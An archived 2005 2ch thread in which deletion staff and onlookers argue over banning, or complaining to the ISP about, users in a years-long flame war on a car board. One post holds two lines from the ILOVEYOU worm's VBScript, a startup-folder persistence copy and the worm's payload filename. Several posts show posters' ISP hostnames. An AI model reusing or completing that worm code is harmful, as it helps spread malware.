【削除人専用】消してもきりがない報告スレ 8

**無外流削除宿酔 ★** · 2005/08/21(日) 21:33:43

このスレッドは何度削除してもスレッドを立てられたり同様な書き込みをされてしまうため、
きりがないと判断された書き込みを削除人が報告するスレッドです。
規制するかどうかは規制人・報告人さんに一任です。

※削除人(キャップつき)以外の報告は無視されます。

前スレ
【削除人専用】消してもきりがない報告スレ 7
http://qb5.2ch.net/test/read.cgi/sec2chd/1121012899/

報告形式などは >>2 以降

◆YAJIUMAHXA · 2005/08/29(月) 14:10:03

◆YAJIUMAHXA · 2005/08/29(月) 14:11:04

http://hobby7.2ch.net/test/read.cgi/auto/1097843118/56
http://hobby7.2ch.net/test/read.cgi/auto/1097843118/59
http://hobby7.2ch.net/test/read.cgi/auto/1097843118/62
http://hobby7.2ch.net/test/read.cgi/auto/1097843118/122
http://hobby7.2ch.net/test/read.cgi/auto/1097843118/137
http://hobby7.2ch.net/test/read.cgi/auto/1097843118/139

◆YAJIUMAHXA · 2005/08/29(月) 14:12:27

【もうすぐ】メルセデスＣクラス【W204】４台目
http://hobby7.2ch.net/test/read.cgi/auto/1117820090/

このスレあたりまで追いかけて見た感じでは
ID:lYtgD83w0とID:6Wop6D7B0の喧嘩
通称すくつとナイソ
それをあぼーん処理するID:kiSsnZjS0かなと思った。

板内の煽り合いではないのかなと。

**sakujyoya ★** · 2005/08/29(月) 18:24:28

さて、ここで話を続けますか？
それともこちらに移動した方がよろしいでしょうか。
【car】車種・メーカー/車板共用【auto】
http://qb5.2ch.net/test/read.cgi/sakud/1086390123/

どえらく他の削除人さんの報告に邪魔になってる希ガス。

◆rukh93uu8g · 2005/08/29(月) 18:32:38

申し訳ありません。
よろしければ、こちらでお願いします。
あくまでも規制の議論ですし、次スレも既にありますし。

議論スレが必要なら、汎用の議論スレを用意するですが、

**sakujyoya ★** · 2005/08/29(月) 18:59:35

確かに次スレあるし、いいか。
とりあえず自分が聞いてもうさんくさいと思うけど
http://hobby7.2ch.net/test/read.cgi/auto/1097843118/
は削除に関してノータッチです。
http://hobby7.2ch.net/test/read.cgi/auto/1123813951/
こっちはユーザー煽りをあぼーんしてます。
＞ここら辺の根拠
イプサムスレに伝統的に粘着し続けていた訳ですから
イプサムスレの過去ログがその根拠になるかと思われ。
3年前とずっと変わらぬ煽りを続けているため消しても切りがないと思いました。

とりあえずここまでの自分の疑問。
すくつなる人物の実態が見えてこないんだけど、示せる方いますか？

**sakujyoya ★** · 2005/08/29(月) 19:03:57

もしすくつなる粘着が存在していて、粘着が二人して煽り合ってるなら
そのスレは荒廃してしまうのでできればお二人ともお帰り願いたいというのが本当のところです。
とりあえずホストのわかった片方からそろそろ飽きてくださいよと。

◆YAJIUMAHXA · 2005/08/29(月) 19:17:11

正直言って削除屋さんが報告されるものに関しては
見に行ってみると混沌としていて何がなにやらという感じです。

この板での報告対象ですらあるのかどうかもよくわからない報告が多く
その板での出来事に精通していなければよくわからないものが多いと感じてます。

迷惑な行為の報告というよりも、迷惑な事をしている人物の報告、といった感じでしょうか。
投稿内容に関わらず特定の人物の書き込みだけを抽出しているから
傍からみていてよくわからないものが多い感じです。

**sakujyoya ★** · 2005/08/29(月) 19:38:55

ですね。正直自分も読んでて誰が誰やらはっきりとはわかりません。
議論板で一人書き続けている
221x241x98x136.ap221.ftth.ucom.ne.jp
コイツを見て、ああ、これならわかると。

で。二人だか一人だか大勢だかわからないけど
ずーっと同じこと書いて他の人に迷惑をかけるのも
いいかげんにしろと今回の報告に至りました。

削除理由としてはGL4だの6だの、十分と感じます。

**(^-^)犬** ◆VET4349ZB. · NG

固定だったから焼いてお終い。だったけど、

規制かかって、巻き添えがたーくさん出て、
報告人が、これをISPにどう説明するのか･できるのか。
までは考えてらっしゃらないでしょうねぇ。

その辺がムツカシイですよねー。

◆rukh93uu8g **＠ロック鳥 ★** · 2005/08/29(月) 20:46:55

>320-321>324
お答えありがとうです。。
・つまり、>280が報告しようと思っていたレスだった。
（もっというと、どれが報告すべきレスか分からなかった？
　報告された削除人さんも対象が不明確？）
・あくまで、"消してもきりが無い"という判断の元で報告された。
・3年というのは、削除でお付き合いした年月ではなく、
　その荒らしさん（対象は絞れていない？）が活動していたと思われる年月。
・saku2chdでの削除議論の流れから、この板への報告に至った。

で、報告の根拠は
> 議論板で一人書き続けている
> 221x241x98x136.ap221.ftth.ucom.ne.jp
> コイツを見て、ああ、これならわかると。
ですか？

私の質問に対する答えは以上のような認識でよろしいのでしょうか？

同じ事を繰り返し主張される方は、荒らしさんなんでしょうか？
そこに幾ばくかの悪意があったとしても。
批判的意見をもってスレッドに参加することは、規制で対処しなければならない
事なんでしょうか。。
ここは不確かな憶測と主観だけで"言葉"を押さえ込むためのスレッド（or板）になってし
まったのでしょうか？

＃そろそろちょうど2年。。。結局止めようがないんですかね。
＃疲れたので後半は無視して結構です。

**sakujyoya ★** · 2005/08/29(月) 21:17:25

>>325
だからむしろ規制というよりはISPからの注意を促してほしかったわけです。

>>326
一応3年前から見てはいたわけで。
出たての頃は煽りには放置してください、という流れでした。
すくつなる人物が現れてからは煽りに対し煽り返すという泥仕合になったため放置していました。
久しぶりに見たら他のスレにも飛び火してまだやっていると。

＞報告の根拠は
いまいちおっしゃる意味が分かりませんが。

貴方がどなたか大体わかった気がしますが後半だいぶ穿った見方をされています。
批判的意見などではなく住人煽りを続けることを問題視してます。
2ch的な力（規制等）ではなくISPからの注意を求めることがとりあえずの主題です
http://qb5.2ch.net/test/read.cgi/sec2chd/1124969048/585

**名無しの報告** · 2005/08/29(月) 21:27:42

>>327
いろいろ理屈こねるのもいいけど、ちゃんと荒らし報告の仕方とか
公式wikiで勉強してから書式にしたがって報告したら？
公式wikiを見ればとても丁寧に書いてある。

削除人だからといって甘ったれるんじゃねぇよ。

◆I467cZgfaM · 2005/08/29(月) 21:35:21

http://qb5.2ch.net/test/read.cgi/saku/1100315808/393-
の流れを見て疑問に思った事。

議論スレに誘導しておいて片方は豚ズラ。
で、アンチが必死に訴えた所、IP抜けたので焼いたと。
これって、囮ですか？議論の余地なしだと？
3年前から荒された原因を検証する必要があるのでは？
そりゃ住人は、大袈裟に報告するでしょうね。
アンチの主張はこれ↓みたいだし
http://hobby7.2ch.net/test/read.cgi/auto/1123813951/11-12

すくつとやらはここで中傷コピペを大量にしてる人でしょ？
http://hobby7.2ch.net/test/read.cgi/auto/1096701443/
http://hobby7.2ch.net/test/read.cgi/auto/1113525286/
http://hobby7.2ch.net/test/read.cgi/auto/1117820090/

**sakujyoya ★** · 2005/08/29(月) 21:37:30

>>328
ISPへの注意を促すて項目がないからどうしたものかわからず
（ログ堀→規制のお決まりの流れではなく、です）
最初に質問スレへ、そこからここへ、そこから勘違いしてBBQスレへ往きますた。
で、ISPへ言うにしても掘ったログが必要というものわかり、出直すといったところ
ちょろさんに掘っていただいて現在に至ります。確かに甘やかされたなあと感謝いたしました。

報告の仕方は知っているし、したこともありますが、今回はそれとは違うんすよ。

**sakujyoya ★** · 2005/08/29(月) 21:47:13

>>329
いじめられた方にも責任があるみたいな言い方は好きじゃあないな。
そして自分の気持ちは>>322。
煽り続ける方も煽り返す方も住人や板にとって好ましくない。

**名無しの報告** · 2005/08/29(月) 21:51:38

ここらでｶﾁﾝ!!ときた例の人登場

◆I467cZgfaM · 2005/08/29(月) 21:54:03

いや、いじめとかじゃなく喧嘩両成敗でしょ
すくつがコピペ始める前はスレは流れている訳だし

◆inODPD6owQ · 2005/08/29(月) 21:58:42

そこで、大岡裁きですよ

◆tiffinlc2w · 2005/08/29(月) 22:00:49

なんだかなぁ・・・。

◆YAJIUMAHXA · 2005/08/29(月) 22:00:51

>>327
今のところ削除屋さんからの報告は即規制、の方向なのですが
野次馬的にはどうかなと思うものもありました。

その想いがどこから来るのかというと、削除屋さんである方は
基本的にここの板では会話が成立しない事が多かったからです。

削除板関連では語質を取られない様に、色々な気苦労もあるのだろうと思いますが
意思の疎通が出来ない方が多いのです。

sakujyoya ★さんのように率直に話していただけると
よくわからない報告ではなくて、なんとか出来ないか、という話しにもなるかもしれません。

**名無しの報告** · 2005/08/29(月) 22:04:05

すくつ、ナイソ、削除人の３方一両損はいいね。

アンチトヨタスレの大量スレストの件があるしね
（￣ー￣）ニヤリッ

**sakujyoya ★** · 2005/08/29(月) 22:08:30

>>333
あい。自分もそのつもり。で、喧嘩両成敗で今まで放置してきた訳ですが。

**名無しの報告** · 2005/08/29(月) 22:09:20

そもそも煽り合いって消すべきものなのかな？
スレで煽らないでください。止めてください。とISP使って警告するようなものなのかな？と名無しの野次馬は思いますが。

**sakujyoya ★** · 2005/08/29(月) 22:12:10

>>337
削除に問題があるならおいらの1方損でも文句はないっすよ。

**sakujyoya ★** · 2005/08/29(月) 22:24:37

>>339
煽り合いってより
コピペ対ユーザー批判という訳の分からん図式になっていると思いまス。

[―{}@{}@{}-] 221x249x253x174.ap221.ftth.ucom.ne.jp · 2005/08/29(月) 22:28:19

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE- LETTER-FOR-YOU.TXT.vbs

◆rukh93uu8g · 2005/08/29(月) 22:30:32

名前の件は申し訳ありません。
ただ私はあくまでたんなる野次馬ですので。

>330
規制（ISP報告、焼き、その他も含めて）は、ある行為に対して
行われるものです。レス番を指定せずに、このIPは荒らしですといわれても
どの行動を指してそのように判断されたかは、こちらには一向に分からない
訳で、>280他にて確認させていただきました。
手順にはそれ相応の意味があります。
分からない＝無視してもかまわない、という訳ではないです。
規制ってのは公開で、さまざまな立場のヒトが見るわけで、
誰が見ても分かる、説得できる状態である必要があるわけです。（たとえ焼きでも）

> 2ch的な力（規制等）ではなくISPからの注意を求めることがとりあえずの主題です
該当のIPからは、現在書けない状態になっております。固定IPのピンポイント規制
は永久規制であり、基本的に誰かが動かない限り解除はありません。
どのような処理が行われるかはケース毎にあらかじめ決まっており（時々変則的に動くですが、）
報告者側が求めるようには動くわけではありません。

ここにあるのはどういう問題であり、どのように解決しようと考えられたのでしょ。
とISPへの警告、という点を強調されるので思ってしまいました。

ここは"場"であり、"場"そのものを破壊しようとするヒト（行為）は規制で対処する
必要があるかもですが、
> 批判的意見などではなく住人煽りを続けることを問題視してます。
が、とても場を破壊しようとする行為には（私には）見えないわけです。

このような状態は（残念ながら）どこにでもありふれており、規制でなんとかする
（できる）話ではなく、住民さんの自助努力でなんとか対処していくしかないんじゃ
ないでしょうか？なんとかできないならそれも、その場を利用する方の選択ということで。
（もし一部の方の行動のために、他の大勢が迷惑ということでも、避難・住み分けなど
　あがく余地はあるんですし。）

**名無しの報告** · 2005/08/29(月) 22:45:28

>>341
コピペは削除GL６で、ユーザー批判ってのは４か５ですよね…
今まで何年も見てきたsakujoyaさんが消してもきりが無いと判断されたのならそうなんでしょうね。
もう1度レス番号指定して報告してもらった方がいいと思いますが。

>>343読んで思い出したんですけど、
この報告形式になった時に報告を削除人さんからしてもらうという話になったんです。
その時に削除人さんの誰かが「煽りが問題？そういうものもあるのが2chだったでしょ」みたいな事書いてたんですよね。
ログ消しちゃったから正確には覚えていないんですけど「そうだな」と納得した覚えがあります。
後半はチラシの裏向けですね。ｽﾏﾝす。

**名無しの報告** · 2005/08/29(月) 22:50:30

煽りは兎も角
アンチあっての２ちゃん

一方のみ規制は戦時中みたいだでなぁ

**sakujyoya ★** · 2005/08/29(月) 23:04:30

>>343
>規制
おっしゃることわかります。
自分も最初から手順を無視しようとしてた訳じゃないことはわかっていただけたかと。

＞場
それぞれのスレがあつまって場を形成しているという考えは一致していると思いますが。
（車メ板の場合）特定の車種のユーザーが、まともに話の出来ない状態が続いていることは
場にとっても良くないことだと考えます。
過去に住人でスレを住み分けしようと努力してきた様も見てきたから今回の報告に至りました。
なにぶん長年にわたることであり、ここにその問題がありますと端的に表しにくいことで
ご迷惑をおかけしました。
まずISPから当人への注意、それで駄目なら改めて規制依頼を、と思っていたのですが
処理が決まっているのであれば致し方ないと思います。

自助努力でなんとかなるレベルとそうでないものってあると思いますよ。
ある程度の煽り合いは2chの華というのは同意です>>344

**sakujyoya ★** · 2005/08/29(月) 23:05:30

>>346
すくつなる方のコピペが続くようなら対処しますです。

**無外流削除宿酔 ★** · 2005/08/29(月) 23:06:05

埋まりそうなので次スレで報告しました。
議論は他のスレでお願いしたいところ。

【削除人専用】消してもきりがない報告スレ 9
http://qb5.2ch.net/test/read.cgi/sec2chd/1125238497/

**sakujyoya ★** · 2005/08/29(月) 23:24:45

さて、0Fw9RUhoOを見てるとまだ終わった訳じゃなさそーですねぃ。
どうなることやら。
>>348
失礼しました。

**名無しの報告** · 2005/08/29(月) 23:35:21

sakujyoya ★さんに別件で質問ですが
うちの板に処理に来て欲しい板があるんですが（巡回板に加えて欲しいんですが）
可能でしょうか？

P061198169242.ppp.prin.ne.jp · 2005/08/30(火) 00:17:53

>>346
＞なにぶん長年にわたることであり、ここにその問題がありますと端的に表しにくいことで
＞ご迷惑をおかけしました。

そこを、住人（当事者）ではない人が見ても
「規制で対処するしかない」問題だとわかるように示さなきゃダメでしょ。
当該スレ・板ではなくとも2chの住人さえ首肯できないようでは
ISPは何が・どうして問題なのか理解できずに困るでしょう。
問題を見つけるときは当事者の視点でも良いかもしれない
（し、むしろ利点もあるかもしれない）けど、
削除や規制の対象とするときには、客観視点でなきゃ。

大将 ◆TaiSyoda7k · NG

いっそ削除人専用スレを廃止するってのはどうかね。

**名無しの報告** · 2005/08/30(火) 06:15:04

というか削除人の方は、この板の空気とか報告の仕方とか
何で規制するのか、どうやって規制するのかとかもう少し理解してから報告してください、、

放浪人さんもそうなんだけど、何か理解度が
普通に報告してる名無し以下の人が多い感じなので、、

**名無しの報告** · 2005/08/30(火) 06:54:51

ISP報告を考えないなら適当でいいけど、
ISP報告を考慮するなら今の運用方法は結構限界が来てるね。

**名無しの報告** · 2005/08/30(火) 10:42:25

一部の変な報告をしてしまった人を捉えて、
全部駄目だというのはどうかと思いますけど。

やり方や方法を周知徹底すればいいだけでしょ。

**名無しの報告** · 2005/08/30(火) 12:08:02

>コピペvsユーザー批判
規制されたのはどっちなんでしょ？

**名無しの報告** · 2005/08/30(火) 12:47:16

ユーザーを指摘した方が規制

コピペ中傷のユーザーは未だ規制されず

**ぼるじょあ** ◆yBEncckFOU · 2005/08/30(火) 14:40:10

（・３・）エェー　名前欄を無視すれば荒らし対策相談所向けですかNE

**名無しの報告** · 2005/08/30(火) 15:54:47

個人的には、削除人は規制に無知でいてほしいと思うなぁ

**名無しの報告** · 2005/08/30(火) 16:50:25

>>355
禿同。

**名無しの報告** · 2005/08/30(火) 19:14:55

喧嘩中に片方規制した場合は今後の粘着中傷コピペは誰が削除依頼するんだろうね
板を変えても追って来て
３年以上も前のスレからコピペネタ探すイプサム乗りのすくつならなおさら心配

**sakujyoya ★** · 2005/08/30(火) 20:03:39

現在どこにコピペがいるのか誘導キボン

**名無しの報告** · 2005/08/30(火) 21:04:00

アンチが規制されてからイプサムスレは書き込みが１レスも無い件について

**名無しの報告** · 2005/08/30(火) 21:24:19

アンチが住人のスレ進行を妨げていたのか？
住人が逆ギレして粘着中傷コピペをしてるようにしかみえない。
イプサムスレが荒れたのは２年くらい前に中傷コピペをする人が現れてから
それまではアンチがいても他のスレと同様にそれなりにスレは進行してる

すくつとやらのコピペは３年くらい前のカメラ板のもの

つまりずっと中傷コピペしてる
当初は削除依頼もされていたが削除人はスルー
個人の本名やドメイン取得時の住所までもスルーされている

こういうすくつに仕返しする手段としてすくつの乗るイプサムをねに持った

**名無しの報告** · 2005/08/30(火) 21:26:44

つまり削除人に落ち度はありまくり

**無外流削除宿酔 ★** · 2005/08/30(火) 21:34:05

議論は他のスレで、と誘導したつもりなんだけどなぁ。

**名無しの報告** · 2005/08/30(火) 22:36:02

移行の終わったスレの数KBに随分と神経質な書き込みですな。
次スレで行われてるなら理解もできるが。

**Kerberos ★** · 2005/08/30(火) 22:39:46

このスレが書き込めなくなったら、どこへ移動するのか
早めに相談した方がいいと思いますよ。

**名無しの報告** · 2005/08/30(火) 22:45:51

当人たちじゃないんで断言はできないが少なくとも次スレにはいかんだろ。
気にしなくていいんじゃねーの？

**名無しの報告** · 2005/08/30(火) 22:49:59

こんなの規制するならあおりのひどいほかの場所も規制しろといわれんばかり。

**名無しの報告** · 2005/08/30(火) 22:50:04

つまりこのスレにずっといた住人には、ボクらの議論もアンチでスレの進行妨げている訳で

規制対象ですな

**名無しの報告** · 2005/08/30(火) 23:20:45

自覚してたのか。

**名無しの報告** · 2005/08/30(火) 23:21:46

496 KB

**名無しの報告** · 2005/08/30(火) 23:31:39

>>355
周知はすでにされてるかと

**名無しの報告** · 2005/08/30(火) 23:51:49

でもまだ書けるんでしょ？

**名無しの報告** · 2005/08/31(水) 00:06:02

　　　　　　　　　　　　｜｜｜｜｜｜
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　　　　　 ∋oノハヽo∈　　～|/´ⅴ｀|／
　　　　　　　　(´ⅴ｀　)　ｽﾀｯ　／　ｙ⊂)
　　　　　　　　/ y(⌒ヽ＼　　　 U〉　 ⌒l
　　　　　　　　し（ (＿_）し　　／（__ノ ~Ｕ､､ｽﾀｯ

[―{}@{}@{}-] **名無しの報告** · 2005/08/31(水) 00:11:27

ののたん　太った？

**名無しの報告** · 2005/08/31(水) 22:23:59

イプサムスレは再開ショッパナから中傷書き込みか

**名無しの報告** · 2005/09/04(日) 03:15:56

【削除人専用】消してもきりがない報告スレ 9
http://qb5.2ch.net/test/read.cgi/sec2chd/1125238497/

**名無しさん＠そうだ選挙に行こう** · 2005/09/10(土) 17:26:08

【削除人専用】消してもきりがない報告スレ 10
http://qb5.2ch.net/test/read.cgi/sec2chd/1126226803/